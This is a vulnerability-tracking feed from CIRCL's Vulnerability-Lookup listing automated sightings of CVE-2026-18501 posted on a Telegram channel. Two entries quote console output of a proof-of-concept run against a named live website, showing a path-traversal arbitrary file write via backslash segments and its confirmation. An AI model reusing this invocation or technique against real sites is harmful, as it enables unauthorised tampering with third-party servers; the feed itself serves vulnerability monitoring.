https://vulnerability.circl.lu/sightings/feed 2026-08-21T18:22:48.212799+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/a9003591-2ddf-438c-9720-8d361c3064d2/export 2026-08-21T18:22:48.232634+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "a9003591-2ddf-438c-9720-8d361c3064d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18501", "type": "published-proof-of-concept", "source": "https://t.me/captainsmok3r_official/447", "content": "", "creation_timestamp": "2026-08-21T00:00:08.943341Z"} 2026-08-21T00:00:08.943341+00:00 https://vulnerability.circl.lu/sighting/2103ced0-8355-49fe-98db-0ac64b3f63c3/export 2026-08-21T18:22:48.234921+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "2103ced0-8355-49fe-98db-0ac64b3f63c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18501", "type": "published-proof-of-concept", "source": "https://t.me/captainsmok3r_official/449", "content": "python poc-cve-2026-18501.py --host http://www.sp2go.info\n\n============================================================\n ALIM EXPLOIT CVE-2026-18051\n Type: Path Traversal (arbitrary file write) | Target: www.sp2go.info:80\n============================================================\n\n[STEP 1] Baseline: reading /_index_slash.html before the write\n\n--- BEFORE (/_index_slash.html) ---\nHTTP 200\n\n\nimg.lazy{min-height:1px}\n / so the traversal resolves)\n[STEP 3] Traversing 6 directories up out of the cache tree via backslash segments\n\n--- TRAVERSAL RESPONSE ---\nHTTP 200, 68551 bytes body\n---\n\n[STEP 4] Reading /_index_slash.html back to confirm the write landed\n\n--- AFTER (/_index_slash.html) ---\nHTTP 200\n\n\nimg.lazy{min-height:1px}\n \n \n\n Suchergebnisse f\u00c3\u00bcr „2e523a8e921c03f8\\..\\..\\..\\..\\..\\..\\“ – SP2GO\n\n", "creation_timestamp": "2026-08-21T00:00:08.850046Z"} 2026-08-21T00:00:08.850046+00:00 https://vulnerability.circl.lu/sighting/2d426c77-9a94-4b11-b727-c259f43b5e03/export 2026-08-21T18:22:48.235188+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "2d426c77-9a94-4b11-b727-c259f43b5e03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18501", "type": "seen", "source": "https://t.me/captainsmok3r_official/449", "content": "python poc-cve-2026-18501.py --host http://www.sp2go.info\n\n============================================================\n ALIM EXPLOIT CVE-2026-18051\n Type: Path Traversal (arbitrary file write) | Target: www.sp2go.info:80\n============================================================\n\n[STEP 1] Baseline: reading /_index_slash.html before the write\n\n--- BEFORE (/_index_slash.html) ---\nHTTP 200\n\n\nimg.lazy{min-height:1px}\n / so the traversal resolves)\n[STEP 3] Traversing 6 directories up out of the cache tree via backslash segments\n\n--- TRAVERSAL RESPONSE ---\nHTTP 200, 68551 bytes body\n---\n\n[STEP 4] Reading /_index_slash.html back to confirm the write landed\n\n--- AFTER (/_index_slash.html) ---\nHTTP 200\n\n\nimg.lazy{min-height:1px}\n \n \n\n Suchergebnisse f\u00c3\u00bcr „2e523a8e921c03f8\\..\\..\\..\\..\\..\\..\\“ – SP2GO\n\n", "creation_timestamp": "2026-08-20T20:00:03.518861Z"} 2026-08-20T20:00:03.518861+00:00 https://vulnerability.circl.lu/sighting/cc1cb5f9-7e78-47e5-b911-b8907146b3ea/export 2026-08-21T18:22:48.235390+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "cc1cb5f9-7e78-47e5-b911-b8907146b3ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18501", "type": "seen", "source": "https://t.me/captainsmok3r_official/447", "content": "", "creation_timestamp": "2026-08-20T20:00:03.469516Z"} 2026-08-20T20:00:03.469516+00:00